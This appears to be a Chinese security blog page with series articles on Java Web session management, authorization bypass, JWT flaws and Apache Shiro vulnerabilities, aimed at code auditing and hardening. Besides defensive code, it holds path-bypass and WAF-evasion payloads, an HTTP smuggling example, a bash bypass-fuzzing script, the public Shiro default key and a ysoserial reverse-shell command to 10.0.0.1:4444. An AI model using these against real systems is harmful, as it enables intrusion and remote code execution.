Capable

Change's a good thing


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 公益404

  • 搜索

未命名

发表于 2026-05-14 |
阅读全文 »

Java Web 会话管理与 Redis 认证实践

发表于 2026-05-08 | 分类于 Java安全 , Redis |

Java Web 会话管理与 Redis 认证实践

会话管理是认证体系的”最后一公里”。无论前端用 JWT 还是 Session,服务端的校验逻辑、Redis 缓存策略、并发控制直接决定了整个认证链路的安全性。

本文是 Java Web 认证授权安全系列 的第六篇。


6.1 Session Fixation 攻击

// ❌ 登录前后 Session ID 不变
http.sessionManagement().sessionFixation().none();

// ✅ 登录后更换 Session ID
http.sessionManagement()
    .sessionFixation().migrateSession();  // 创建新 Session,复制属性
// 或
http.sessionManagement()
    .sessionFixation().newSession();      // 创建全新 Session

6.2 Cookie 安全属性

@Bean
public CookieSerializer cookieSerializer() {
    DefaultCookieSerializer serializer = new DefaultCookieSerializer();
    serializer.setSameSite("Strict");
    serializer.setUseSecureCookie(true);
    serializer.setUseHttpOnlyCookie(true);
    return serializer;
}
server:
  servlet:
    session:
      cookie:
        http-only: true
        secure: true
        same-site: strict
      timeout: 30m

6.3 服务端 Session 校验的正确模式

模式 A:仅判空(不安全)

// ❌ 只判断 getAttribute 是否为 null,无状态校验
Object user = session.getAttribute("user");
if (user == null) { response.sendRedirect("/login"); return false; }
return true;  // 不管 user 是否已被禁用、IP 是否变化

模式 B:Redis 集中校验(推荐)

@Component
public class SessionAuthInterceptor implements HandlerInterceptor {
    @Autowired private RedisTemplate<String, SessionUser> redis;
    @Autowired private UserService userService;
    
    public boolean preHandle(HttpServletRequest request, ...) {
        String sessionId = request.getHeader("X-Session-Id");
        if (sessionId == null) {
            HttpSession s = request.getSession(false);
            if (s == null) { respond401(response, "未登录"); return false; }
            sessionId = s.getId();
        }
        
        SessionUser user = redis.opsForValue().get("session:user:" + sessionId);
        if (user == null) { respond401(response, "Session 过期"); return false; }
        
        // 检查用户是否仍有效(可能被管理员禁用)
        if (!userService.isUserActive(user.getUserId())) {
            redis.delete("session:user:" + sessionId);
            respond401(response, "账号已禁用"); return false;
        }
        
        // 检查 IP 变化(管理后台推荐严格模式)
        String currentIp = getClientIp(request);
        if (!currentIp.equals(user.getLoginIp())) {
            log.warn("IP变化: userId={}", user.getUserId());
        }
        
        // 续期
        redis.expire("session:user:" + sessionId, Duration.ofMinutes(30));
        request.setAttribute("currentUser", user);
        return true;
    }
}
@Data
public class SessionUser implements Serializable {
    private Long userId;
    private String username;
    private Set<String> roles;
    private Set<String> permissions;
    private String loginIp;
    private String userAgent;
    private LocalDateTime loginTime;
}

模式 C:无状态 Token + Redis 黑名单

@Override
public boolean preHandle(HttpServletRequest request, ...) {
    String token = extractBearerToken(request);
    if (token == null) { respond401(response, "缺少Token"); return false; }
    
    // 黑名单检查(已注销的 Token)
    if (Boolean.TRUE.equals(redis.hasKey("token:blacklist:" + getTokenId(token)))) {
        respond401(response, "Token 已失效"); return false;
    }
    
    // JWT 校验
    try {
        TokenUser user = jwtService.validateAndParse(token);
        request.setAttribute("currentUser", user);
        return true;
    } catch (JwtException e) {
        respond401(response, "Token 无效"); return false;
    }
}

6.4 Redis 权限缓存的安全陷阱

// ❌ 缓存无失效机制 — 权限变更后旧权限仍生效
public Set<String> getUserPermissions(Long userId) {
    Set<String> cached = redis.opsForValue().get("perm:" + userId);
    if (cached != null) return cached;  // ← 永远返回缓存
    // ...
}

// ✅ 变更时主动失效 + 短 TTL
public void updateUserPermissions(Long userId, Set<String> newPerms) {
    permissionMapper.updatePermissions(userId, newPerms);
    redis.delete("perm:" + userId);  // 立即失效
    redis.convertAndSend("perm:invalidate", userId.toString());  // 通知其他节点
}

public Set<String> getUserPermissions(Long userId) {
    return Optional.ofNullable(redis.opsForValue().get("perm:" + userId))
        .orElseGet(() -> {
            Set<String> perms = permissionMapper.findByUserId(userId);
            redis.opsForValue().set("perm:" + userId, perms, Duration.ofMinutes(5));
            return perms;
        });
}

6.5 并发登录控制

@Component
public class SessionManager {
    @Autowired private RedisTemplate<String, String> redis;
    
    public void registerSession(Long userId, String newSessionId) {
        String oldSessionId = redis.opsForValue().get("user:session:" + userId);
        if (oldSessionId != null && !oldSessionId.equals(newSessionId)) {
            redis.opsForValue().set("session:blacklist:" + oldSessionId, "kicked", 
                Duration.ofMinutes(30));
            log.info("用户 {} 新设备登录,旧 Session 被踢出", userId);
        }
        redis.opsForValue().set("user:session:" + userId, newSessionId, 
            Duration.ofHours(2));
    }
}

6.6 暴力破解防护(Redis 限流)

@Component
public class LoginRateLimiter {
    private static final int MAX_ATTEMPTS = 5;
    private static final Duration WINDOW = Duration.ofMinutes(5);
    private static final Duration BLOCK = Duration.ofMinutes(15);
    
    public boolean isBlocked(String username, String ip) {
        return Boolean.TRUE.equals(redis.hasKey("login:block:" + ip))
            || Boolean.TRUE.equals(redis.hasKey("login:block:user:" + username));
    }
    
    public void recordFailedAttempt(String username, String ip) {
        String key = "login:attempt:" + ip + ":" + username;
        Long attempts = redis.opsForValue().increment(key);
        if (attempts == 1) redis.expire(key, WINDOW);
        if (attempts >= MAX_ATTEMPTS) {
            redis.opsForValue().set("login:block:" + ip, 1, BLOCK);
            redis.opsForValue().set("login:block:user:" + username, 1, BLOCK);
        }
    }
}

6.7 混合认证架构设计

管理后台 (Web/Cookie) ──→ Session 认证 ──┐
                                          ├──→ Redis 统一存储
移动端/API (Token)    ──→ JWT 认证    ──┘
// 管理后台:Session
@Bean
public SecurityFilterChain webChain(HttpSecurity http) throws Exception {
    http.securityMatcher("/admin/**")
        .authorizeHttpRequests(a -> a.anyRequest().hasRole("ADMIN"))
        .formLogin(Customizer.withDefaults())
        .sessionManagement(s -> s.sessionCreationPolicy(IF_REQUIRED));
    return http.build();
}

// API:JWT
@Bean @Order(1)
public SecurityFilterChain apiChain(HttpSecurity http) throws Exception {
    http.securityMatcher("/api/**")
        .authorizeHttpRequests(a -> a.requestMatchers("/api/public/**").permitAll()
            .anyRequest().authenticated())
        .oauth2ResourceServer(o -> o.jwt(Customizer.withDefaults()))
        .sessionManagement(s -> s.sessionCreationPolicy(STATELESS));
    return http.build();
}
问题 Session JWT 混合方案
吊销 ✅ ❌ Redis 黑名单
扩展 ❌ ✅ Redis 共享
CSRF ❌ ✅ SameSite Cookie
XSS ✅ ❌ 管理后台用 Session

6.8 Spring Session 深度配置(补充)

@Configuration
@EnableRedisHttpSession(maxInactiveIntervalInSeconds = 1800)
public class SessionConfig {

    @Bean
    public RedisSerializer<Object> springSessionDefaultRedisSerializer() {
        // 不要用 JdkSerializationRedisSerializer — 有反序列化风险
        // 推荐 Jackson 或 GenericJackson2JsonRedisSerializer
        return new GenericJackson2JsonRedisSerializer();
    }

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setCookieName("SESSIONID");
        serializer.setCookiePath("/");
        serializer.setDomainNamePattern("^.+?\\.(example\\.com)$");
        serializer.setUseSecureCookie(true);
        serializer.setUseHttpOnlyCookie(true);
        serializer.setSameSite("Lax");
        return serializer;
    }

    @Bean
    public RedisIndexedSessionRepository sessionRepository(
            RedisOperations<String, Object> redis) {
        RedisIndexedSessionRepository repo = 
            new RedisIndexedSessionRepository(redis);
        repo.setDefaultMaxInactiveInterval(Duration.ofMinutes(30));
        
        // 关键:配置 Redis key 前缀,方便管理
        repo.setRedisKeyNamespace("myapp:session:");
        
        return repo;
    }
}

Spring Session 安全注意事项:

  1. 序列化器选择:避免 JdkSerializationRedisSerializer,它和 Java 原生反序列化一样存在 RCE 风险
  2. Redis 密码:生产环境 spring.redis.password 必须设置
  3. 命名空间隔离:不同应用使用不同的 redisKeyNamespace,避免 Session 混淆
  4. findByPrincipalName:此方法会遍历所有 Session key(KEYS *),大数据量时性能极差,谨慎使用

6.9 Redis Cluster 模式下的认证(补充)

# Redis Cluster 配置
spring:
  redis:
    cluster:
      nodes:
        - 10.0.1.10:6379
        - 10.0.1.11:6379
        - 10.0.1.12:6379
    password: ${REDIS_PASSWORD}  # 必须从环境变量读取
    timeout: 3000ms
    lettuce:
      pool:
        max-active: 50
        max-idle: 20
        min-idle: 5

Cluster 模式下的 Session 一致性陷阱:

问题:Spring Session 默认使用 Redis key 存储
Cluster 模式下 key 会被 hash 到不同分片
但 Session 相关的原子操作(如 find/findByPrincipalName)
跨分片时无法保证事务性

解决:
1. 使用 HashTag 绑定会话相关 key 到同一分片
   repo.setRedisKeyNamespace("{myapp}:session:")
2. 或使用单节点 Redis 存储 Session(小规模推荐)

6.10 WebSocket 会话安全(补充)

WebSocket 连接建立后的认证是一个容易被忽略的问题:

@Configuration
@EnableWebSocketMessageBroker
public class WebSocketSecurityConfig implements WebSocketMessageBrokerConfigurer {

    @Override
    public void configureClientInboundChannel(ChannelRegistration registration) {
        registration.interceptors(new ChannelInterceptor() {
            @Override
            public Message<?> preSend(Message<?> message, MessageChannel channel) {
                StompHeaderAccessor accessor = 
                    MessageHeaderAccessor.getAccessor(message, StompHeaderAccessor.class);
                
                if (StompCommand.CONNECT.equals(accessor.getCommand())) {
                    // 从 STOMP CONNECT 帧中提取 Token
                    String token = accessor.getFirstNativeHeader("Authorization");
                    if (token == null || !token.startsWith("Bearer ")) {
                        throw new AccessDeniedException("未认证");
                    }
                    
                    // 验证 Token 并设置用户
                    User user = tokenService.validateAndGetUser(token.substring(7));
                    accessor.setUser(user);
                }
                
                // 对于 SUBSCRIBE/SEND 等命令,检查权限
                if (StompCommand.SUBSCRIBE.equals(accessor.getCommand())) {
                    String destination = accessor.getDestination();
                    User user = (User) accessor.getUser();
                    
                    // 检查用户是否有权限订阅此主题
                    if (destination.startsWith("/topic/admin/") 
                        && !user.hasRole("ADMIN")) {
                        throw new AccessDeniedException("无权限订阅此主题");
                    }
                }
                
                return message;
            }
        });
    }
}

WebSocket 安全检查清单:

☐ CONNECT 帧必须验证 Token/Cookie
☐ SUBSCRIBE 主题需要权限检查(/topic/admin/ 仅管理员)
☐ SEND 目标需要校验(防止向他人主题发送消息)
☐ 心跳超时断开(防止资源耗尽)
☐ 单个用户最大连接数限制
☐ 消息大小限制(防止 DoS)

总结

会话管理的安全本质是回答三个问题:

  1. 你是谁? — 认证:Session/Token 是否有效
  2. 你还应该是你吗? — 会话完整性:IP/UA 是否变化,是否被踢出
  3. 你能做什么? — 授权:Session 中的权限是否仍有效,缓存是否实时

Redis 在其中的角色是共享的真实状态源——无论前端使用 Session 还是 JWT,服务端都需要一个地方存储”当前有效的会话/权限/黑名单”信息。Redis 配置的安全性直接决定了这层防护是否可靠。


系列文章:

  • 概览篇
  • Spring Security 安全配置篇
  • Apache Shiro 安全配置篇
  • JWT 认证安全篇
  • 鉴权绕过模式篇
阅读全文 »

Java Web 鉴权绕过模式深度剖析

发表于 2026-05-08 | 分类于 Java安全 , Web安全 |

Java Web 鉴权绕过模式深度剖析

鉴权绕过是代码审计中最常见也最致命的问题类型。本文涵盖 URI 解析差异、路径规范化绕过、preHandle 认证/授权缺陷、WAF 对抗等核心模式。

本文是 Java Web 认证授权安全系列 的第五篇。


5.1 URI 解析差异绕过(最关键)

这是代码审计中的 “万恶之源”——鉴权 Filter 和路由分发使用不同的 URI 获取方法。

获取方法 安全性 说明
request.getRequestURI() ❌ 保留原始路径,含 ;、../、编码字符
request.getRequestURL() ❌ 同上
request.getServletPath() ✅ Tomcat 已规范化处理
request.getContextPath() ✅ 仅上下文路径
HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE ✅ Spring 路由匹配后的实际路径

经典攻击场景:

// ❌ Filter 用 getRequestURI() 做白名单 → 可被分号绕过
String uri = request.getRequestURI();
if (uri.endsWith(".js") || uri.endsWith(".css")) {
    chain.doFilter(request, response);
    return;
}
// GET /admin/deleteUser;.js → getRequestURI() 匹配 .js → 放行
// Tomcat 解析分号 → 路由到 /admin/deleteUser → 鉴权绕过

// ✅ 修复
String path = request.getServletPath();
// 或 Spring 路由属性
String pattern = (String) request.getAttribute(
    HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE);

5.2 路径规范化绕过速查表

绕过模式 Payload 示例 原理
分号 + 后缀 /admin;.js、/admin;.css Tomcat 删除 ; 及之后
分号 + 穿越 /public;/../admin 组合绕过
URL 编码斜杠 /admin%2fusers 容器解码前后路径不一致
双重编码 /admin%252fusers %25 → %
路径穿越 /public/../admin 鉴权匹配与路由解析差异
尾部斜杠 /admin/ vs /admin 某些配置视为不同
空字节 /admin%00.jpg C 字符串截断
换行符 /admin%0d%0a 影响正则匹配

5.3 越权访问(IDOR)

// ❌ 无归属校验
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
    return orderService.findById(orderId);
}

// ✅ 校验归属
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId, @AuthenticationPrincipal UserDetails user) {
    Order order = orderService.findById(orderId);
    if (!order.getUserId().equals(user.getId())) {
        throw new AccessDeniedException("无权访问");
    }
    return order;
}

5.4 多层鉴权架构分析

请求 → Filter 层 → Interceptor 层 → Controller(AOP) → 业务逻辑
        │              │                 │
        └── 登录检查    └── 权限校验      └── 业务权限

审计关键:绕过一层不代表绕过全部。需分析每层的职责和 fallback 逻辑。


5.5 实战:preHandle 只认证不授权 + getRequestURI() 绕过

模式 A:仅认证 + 全路径 return true

// ❌ 问题代码
@Override
public boolean preHandle(HttpServletRequest request, ...) {
    String uri = request.getRequestURI();
    if (uri.contains("/login") || uri.endsWith(".js")) { return true; }
    
    String token = request.getHeader("Authorization");
    if (token == null) { response.setStatus(401); return false; }
    
    User user = parseToken(token);
    if (user == null) { response.setStatus(401); return false; }
    
    return true;  // ← 任何登录用户都能访问管理接口!
}
# 攻击链
POST /api/login → Token: eyJ... (普通用户)
GET /api/admin/deleteUser?id=1  Authorization: Bearer eyJ... → 200 OK
GET /api/admin/deleteUser;.js  → 无需登录即可访问!

模式 B:白名单路径穿越

# startsWith("/api/public/") 可被穿越
GET /api/public/../admin/users → 绕过登录检查
GET /static/../../api/admin/config → contains("/static/") 绕过

模式 C:后缀匹配绕过

GET /api/admin/users;.js
GET /api/config/dbPassword;.png

正确修复

// ✅ 使用 getServletPath() + 精确白名单 + 认证+授权
public boolean preHandle(HttpServletRequest request, ...) {
    String path = request.getServletPath();
    if (WHITELIST.contains(path)) { return true; }
    
    // 认证
    User user = tokenService.validateAndGetUser(request.getHeader("Authorization"));
    if (user == null) { response.setStatus(401); return false; }
    
    // 授权 — 必须有!
    if (path.startsWith("/api/admin/") && !user.hasRole("ADMIN")) {
        response.setStatus(403); return false;
    }
    
    request.setAttribute("currentUser", user);
    return true;
}

5.6 WAF 绕过与对抗(补充)

当目标有 WAF 保护时,基础 Payload 可能被拦截。以下是绕过技巧:

编码绕过

# 基础 payload 被拦
GET /admin;.js → 403 Forbidden (WAF 拦截)

# URL 编码分号
GET /admin%3b.js

# 双重编码
GET /admin%253b.js

# Unicode 编码
GET /admin\u003b.js

# 混合编码
GET /admin%3b%2ejs

协议级绕过

# HTTP/1.0 不支持分块传输,某些 WAF 解析不同
GET /admin;.js HTTP/1.0

# 利用 Transfer-Encoding 分块
POST /admin HTTP/1.1
Transfer-Encoding: chunked

3
;.js
0

# HTTP 请求走私
GET /admin HTTP/1.1
Host: target.com
Content-Length: 0
Transfer-Encoding: chunked

GET /admin;.js HTTP/1.1
Host: target.com

参数污染

# 利用参数覆盖 WAF 检测
GET /api/admin/list?id=1&role=admin
GET /api/admin/list?role=admin&role=user  # WAF 可能取第一个

# 分号参数
GET /api/admin/list;role=admin

大小写与空格变形

# 大小写绕过
GET /ADMIN/users
GET /Admin/Users

# Tab/空格绕过
GET /admin%09/users    # %09 = Tab
GET /admin%20/users    # %20 = 空格(某些框架会 trim)

5.7 自动化 Fuzzing 策略(补充)

#!/bin/bash
# 鉴权绕过 Fuzzing 脚本
TARGET="https://target.com"
ENDPOINTS=(
    "/api/admin/users"
    "/api/admin/config"
    "/api/order/export"
    "/api/user/profile"
)

PAYLOADS=(
    ";.js"        # 分号+静态后缀
    ";.css"
    ";.png"
    "%3b.js"      # URL 编码分号
    "%3b.css"
    ";../"        # 分号+路径穿越
    "%2f"         # 编码斜杠
    "%2e%2e%2f"   # 编码 ../
    "%20"         # 空格
    "%0d%0a"      # CRLF
    "%00.jpg"     # 空字节
    "."           # 点号
    "//"          # 双斜杠
)

for endpoint in "${ENDPOINTS[@]}"; do
    echo "=== Testing: $endpoint ==="
    
    # 无认证直接访问
    status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint")
    echo "  Direct: $status"
    
    # 带 Payload 绕过
    for payload in "${PAYLOADS[@]}"; do
        status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint$payload")
        if [ "$status" != "401" ] && [ "$status" != "403" ] && [ "$status" != "302" ]; then
            echo "  ⚠️  BYPASS: $endpoint$payload → $status"
        fi
    done
done

Burp Suite Intruder 配置

Attack type: Sniper
Payload position: GET /api/admin/users§§ HTTP/1.1
Payload list:
  ;.js
  ;.css
  %3b.js
  ;../public
  %2e%2e%2fpublic
  ..
  %2f
  %00.jpg

5.8 案例复盘:某电商系统鉴权绕过(补充)

发现过程:

  1. 浏览网站时发现所有 API 路径形如 /api/v1/user/order/list
  2. Burp 抓包,尝试访问 /api/v1/admin/user/list → 401
  3. 追加 ;.js 后缀:/api/v1/admin/user/list;.js → 200 OK,返回全部用户数据

根因分析:

// 该系统的 AuthInterceptor 代码
if (request.getRequestURI().endsWith(".js") 
    || request.getRequestURI().endsWith(".css")) {
    return true;  // 静态资源直接放行
}
// ... 后续的认证逻辑永远走不到

影响范围:

  • 全部管理接口可绕过(用户管理、订单管理、系统配置)
  • 无需任何认证,直接获取管理权限

修复验证:

  • 将 getRequestURI() 改为 getServletPath()
  • 白名单改为精确路径匹配(Set<String>)
  • 增加授权检查

总结

鉴权绕过的根因可以归结为三类:

  1. 解析差异:getRequestURI() vs getServletPath(),Shiro vs Spring 路径匹配
  2. 逻辑缺失:只认证不授权,return true 无角色检查
  3. 信任输入:白名单用 endsWith/contains/startsWith 做模糊匹配

检测原则:永远不要相信请求中的原始路径。用容器规范化后的路径 + 精确匹配 + 认证+授权双检。


系列文章:

  • 概览篇
  • Spring Security 安全配置篇
  • Apache Shiro 安全配置篇
  • JWT 认证安全篇
  • 会话管理与 Redis 认证篇
阅读全文 »

JWT 认证安全实践与常见漏洞

发表于 2026-05-08 | 分类于 Java安全 , JWT |

JWT 认证安全实践与常见漏洞

JWT 是 RESTful API 最常用的无状态认证方案,但算法混淆、签名缺失、弱密钥等问题会让 Token 认证形同虚设。

本文是 Java Web 认证授权安全系列 的第四篇。


4.1 算法混淆攻击

攻击原理:服务端同时接受 RS256(非对称)和 HS256(对称)算法时,攻击者可将算法改为 HS256,然后用公开的公钥作为 HMAC 密钥签名 Token。

// ❌ 危险:同时接受多种算法
@Bean
public JwtDecoder jwtDecoder() {
    return NimbusJwtDecoder
        .withJwkSetUri("https://auth.example.com/.well-known/jwks.json")
        .jwsAlgorithms(algs -> {
            algs.add(JWSAlgorithm.RS256);
            algs.add(JWSAlgorithm.HS256);   // ← 危险!
        })
        .build();
}
// ✅ 正确:只接受单一算法
@Bean
public JwtDecoder jwtDecoder() {
    return NimbusJwtDecoder
        .withJwkSetUri("https://auth.example.com/.well-known/jwks.json")
        .jwsAlgorithm(JWSAlgorithm.RS256)
        .build();
}

4.2 alg: none 攻击

某些库在配置不当时接受未签名 Token:

{"alg": "none"}
{"sub": "admin", "role": "ADMIN"}
// 无签名部分

Java 常见错误:

// ❌ parseClaimsJwt 不验证签名!
Claims claims = Jwts.parser().parseClaimsJwt(token).getBody();

// ✅ parseClaimsJws 强制验证签名
Claims claims = Jwts.parser()
    .setSigningKey(secretKey)
    .parseClaimsJws(token)  // ← 带 's'
    .getBody();
// ❌ catch 范围过大,掩盖 UnsupportedJwtException
public boolean validateToken(String token) {
    try {
        Jwts.parser().setSigningKey(SECRET_KEY).parseClaimsJws(token);
        return true;
    } catch (Exception e) {  // ← 太宽泛
        return false;
    }
}

修复:分别处理 UnsupportedJwtException、SignatureException、ExpiredJwtException。


4.3 弱密钥与密钥管理

// ❌ 弱密钥 / 硬编码
String secret = "mySecretKey";  // 太短
String secret = "abc123def456ghi789jkl012mno345pq";  // 硬编码

// ✅ 正确做法
Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256);  // 自动生成 256 位
// 或从 Vault/KMS 安全存储读取

CVE-2024-31033:JJWT 在处理 setSigningKey() 时某些字符被忽略。建议:使用 byte[] 传参,升级最新版。


4.4 Token 生命周期与吊销

String token = Jwts.builder()
    .setSubject(userId)
    .setIssuer("https://auth.example.com")
    .setAudience("api.example.com")
    .setIssuedAt(new Date())
    .setExpiration(new Date(System.currentTimeMillis() + 900_000))  // 15分钟
    .signWith(privateKey, SignatureAlgorithm.RS256)
    .compact();

验证:

Jws<Claims> jws = Jwts.parserBuilder()
    .setSigningKey(publicKey)
    .requireIssuer("https://auth.example.com")
    .requireAudience("api.example.com")
    .build()
    .parseClaimsJws(token);

吊销策略:JWT 无状态无法撤销,需配合:

  • 短过期 + Refresh Token 轮换
  • Redis 黑名单存储已吊销 Token ID
  • 关键操作强制重新认证

4.5 JWT 安全检查清单

@Component
public class JwtTokenValidator {
    private final SecretKey secretKey;
    private final RedisTemplate<String, String> redis;

    public Claims validateAndParse(String token) {
        String tokenId = extractTokenId(token);
        if (Boolean.TRUE.equals(redis.hasKey("token:revoked:" + tokenId))) {
            throw new SecurityException("Token revoked");
        }

        return Jwts.parserBuilder()
            .setSigningKey(secretKey)
            .requireIssuer("auth.example.com")
            .requireAudience("api.example.com")
            .setAllowedClockSkewSeconds(30)
            .build()
            .parseClaimsJws(token)  // ← parseClaimsJws!
            .getBody();
    }
}

4.6 JWE 加密 Token(补充)

JWT 的 payload 是 Base64 编码,不是加密。任何人都能看到其中内容:

// 这个 payload 任何人拿到 Token 即可解码阅读
{"userId": 123, "role": "admin", "internalDeptId": 42}

JWE(JSON Web Encryption) 提供真正的加密:

// ✅ JWE 加密 Token — 内容不可见
public String generateEncryptedToken(User user) throws Exception {
    // 1. 构建 JWT Claims
    JWTClaimsSet claims = new JWTClaimsSet.Builder()
        .subject(user.getId().toString())
        .claim("role", user.getRole())
        .issueTime(new Date())
        .expirationTime(new Date(System.currentTimeMillis() + 900_000))
        .build();

    // 2. 创建 JWE 头部
    JWEHeader header = new JWEHeader(
        JWEAlgorithm.RSA_OAEP_256,   // 密钥加密算法
        EncryptionMethod.A256GCM     // 内容加密算法
    );

    // 3. 加密
    EncryptedJWT jwt = new EncryptedJWT(header, claims);
    RSAEncrypter encrypter = new RSAEncrypter(publicKey);
    jwt.encrypt(encrypter);

    return jwt.serialize();
}

// 解密
public Claims decryptAndValidate(String encryptedToken) throws Exception {
    EncryptedJWT jwt = EncryptedJWT.parse(encryptedToken);
    RSADecrypter decrypter = new RSADecrypter(privateKey);
    jwt.decrypt(decrypter);
    
    // 然后再做常规 JWT 校验
    return jwt.getJWTClaimsSet();
}

何时使用 JWE:

  • Token 中必须携带敏感信息(身份证号、手机号等)
  • 合规要求(GDPR、等保)
  • Token 可能暴露在浏览器 localStorage 中

不推荐 JWE 的场景:

  • 高性能要求(加密解密有开销)
  • 网关层需要读取 Token 内容做路由判断
  • Token 仅用于服务端会话关联(用参考 Token 更合适)

4.7 Refresh Token 轮换策略(补充)

@Service
public class TokenRotationService {

    @Autowired
    private RedisTemplate<String, String> redis;

    // Access Token: 15 分钟
    private static final Duration ACCESS_EXPIRY = Duration.ofMinutes(15);
    // Refresh Token: 7 天
    private static final Duration REFRESH_EXPIRY = Duration.ofDays(7);
    // Refresh Token 家族前缀,用于检测重用
    private static final String TOKEN_FAMILY = "token:family:";

    public TokenPair issueTokens(String userId) {
        String familyId = UUID.randomUUID().toString();
        String refreshId = UUID.randomUUID().toString();

        // 存储 refresh token 家族
        redis.opsForValue().set(TOKEN_FAMILY + familyId, refreshId, REFRESH_EXPIRY);

        String accessToken = generateAccessToken(userId, familyId);
        String refreshToken = generateRefreshToken(userId, familyId, refreshId);

        return new TokenPair(accessToken, refreshToken);
    }

    public TokenPair rotateTokens(String oldRefreshToken) {
        Claims claims = validateRefreshToken(oldRefreshToken);
        String familyId = claims.get("familyId", String.class);
        String oldRefreshId = claims.get("refreshId", String.class);

        // 检查 refresh token 是否已被使用(检测重用 → 说明被盗)
        String storedRefreshId = redis.opsForValue().get(TOKEN_FAMILY + familyId);
        if (storedRefreshId == null || !storedRefreshId.equals(oldRefreshId)) {
            // Refresh Token 重用!可能是被盗。
            // 立即吊销整个家族
            redis.delete(TOKEN_FAMILY + familyId);
            redis.opsForValue().set("token:family:revoked:" + familyId, "1", Duration.ofDays(7));
            
            // 强制用户重新登录,并发出告警
            log.warn("Refresh Token 重用检测:familyId={}", familyId);
            throw new SecurityException("Token 已被使用,请重新登录");
        }

        // 正常轮换:换发新的 refresh token
        String newRefreshId = UUID.randomUUID().toString();
        redis.opsForValue().set(TOKEN_FAMILY + familyId, newRefreshId, REFRESH_EXPIRY);

        String newAccessToken = generateAccessToken(claims.getSubject(), familyId);
        String newRefreshToken = generateRefreshToken(claims.getSubject(), familyId, newRefreshId);

        return new TokenPair(newAccessToken, newRefreshToken);
    }

    public void revokeFamily(String familyId) {
        redis.delete(TOKEN_FAMILY + familyId);
    }
}

Refresh Token 轮换 vs 短期 Token:

方案 安全性 用户体验 复杂度
单 Token 长期有效 ❌ ✅ 低
Access Token 短期 + 无 Refresh ✅ ❌ 频繁登出 低
Access + Refresh 无轮换 ⚠️ ✅ 中
Access + Refresh 轮换 + 重用检测 ✅ ✅ 高

4.8 Token 绑定(HTB — Holder-of-Key)(补充)

防止 Token 被盗后在其他设备使用:

// 签发 Token 时绑定客户端指纹
public String issueBoundToken(User user, HttpServletRequest request) {
    String fingerprint = generateFingerprint(request);
    
    return Jwts.builder()
        .setSubject(user.getId().toString())
        .claim("fp_hash", sha256(fingerprint))  // 指纹哈希存入 Token
        .setExpiration(new Date(System.currentTimeMillis() + 900_000))
        .signWith(privateKey, SignatureAlgorithm.RS256)
        .compact();
}

// 验证时比对指纹
public Claims validateBoundToken(String token, HttpServletRequest request) {
    Claims claims = validateAndParse(token);
    String currentFp = sha256(generateFingerprint(request));
    String storedFp = claims.get("fp_hash", String.class);
    
    if (!currentFp.equals(storedFp)) {
        throw new SecurityException("Token 客户端指纹不匹配");
    }
    return claims;
}

// 生成客户端指纹(IP + UA 组合)
private String generateFingerprint(HttpServletRequest request) {
    String ip = request.getHeader("X-Forwarded-For");
    if (ip == null) ip = request.getRemoteAddr();
    String ua = request.getHeader("User-Agent");
    return ip + "|" + ua;
}

注意:指纹绑定会降低用户体验(移动网络 IP 频繁变化、UA 升级)。建议仅对高安全场景(银行、支付)启用。


总结

JWT 安全的核心不是选择了哪个库,而是验证逻辑是否正确:

  1. 算法:永远只接受单一算法(RS256 或 ES256)
  2. 签名:永远用 parseClaimsJws(带 s),不用 parseClaimsJwt
  3. 异常:不能 catch(Exception e) 一把梭
  4. 过期:Access Token ≤ 15 分钟
  5. 吊销:配合 Refresh Token 轮换 + 重用检测
  6. 加密:敏感数据用 JWE 加密,或干脆不放 payload 里

系列文章:

  • 概览篇
  • Spring Security 安全配置篇
  • Apache Shiro 安全配置篇
  • 鉴权绕过模式篇
  • 会话管理与 Redis 认证篇
阅读全文 »

Apache Shiro 安全配置与防护实践

发表于 2026-05-08 | 分类于 Java安全 , Shiro |

Apache Shiro 安全配置与防护实践

Apache Shiro 因其轻量级和 API 简洁广受青睐,但从 2016 年的 rememberMe RCE (CVSS 9.8) 到 2023 年的路径绕过,历史上的漏洞均属于”一击必杀”级别。

本文是 Java Web 认证授权安全系列 的第三篇。


3.1 rememberMe 反序列化 RCE(CVE-2016-4437,CVSS 9.8)

这是 Shiro 最臭名昭著的漏洞,至今仍有公网系统未修复。

漏洞原理:Shiro 1.2.4 及之前版本的 rememberMe 功能使用 硬编码的 AES 密钥:

// Shiro 1.2.4 源码 — 全网公开的硬编码密钥
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = 
    Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

攻击链:

1. 攻击者使用已知密钥加密恶意序列化对象(CommonsCollections 链)
2. 将 payload 作为 rememberMe Cookie 发送
3. Shiro 解密 → 反序列化 → RCE

利用工具:

# ysoserial 生成 payload
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 \
  "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"

# Shiro 漏洞检测
python3 shiro_attack.py -u https://target.com -k "kPH+bIxk5D2deZiIxcaaaA=="

SHIRO-721(Padding Oracle 攻击):即使配置了自定义密钥(1.2.5 ~ 1.4.1),攻击者仍可通过 AES-CBC Padding Oracle 构造恶意 Cookie,无需知道密钥。影响版本 < 1.4.2。

防御:

# shiro.ini — 禁用 rememberMe
[main]
securityManager.rememberMeManager = null
// Java Config — 使用随机强密钥
@Bean
public RememberMeManager rememberMeManager() {
    CookieRememberMeManager manager = new CookieRememberMeManager();
    KeyGenerator keyGen = KeyGenerator.getInstance("AES");
    keyGen.init(256);
    manager.setCipherKey(keyGen.generateKey().getEncoded());
    return manager;
}

必须升级到 Shiro 1.13.0+ 或 2.0.0-alpha-4+。


3.2 路径鉴权绕过系列

Shiro 的路径匹配与 Spring/Tomcat 解析不一致,导致了一系列绕过:

CVE 版本 Payload 原理
CVE-2020-1957 < 1.5.2 /admin/..;/ ..; 解析差异
CVE-2020-11989 < 1.5.3 /admin/page%2f 编码斜杠
CVE-2020-13933 < 1.6.0 /admin/%3bindex 分号编码
